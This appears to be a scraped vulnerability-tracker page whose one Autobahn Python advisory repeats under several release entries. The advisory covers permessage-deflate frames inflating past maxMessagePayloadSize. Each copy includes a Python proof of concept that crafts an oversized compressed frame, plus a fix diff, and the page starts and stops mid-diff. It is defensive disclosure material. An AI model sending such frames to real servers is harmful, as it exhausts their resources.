+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Jun 29, 2020

20.6.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Jun 11, 2020

20.4.2 patch

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Apr 14, 2020

20.4.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
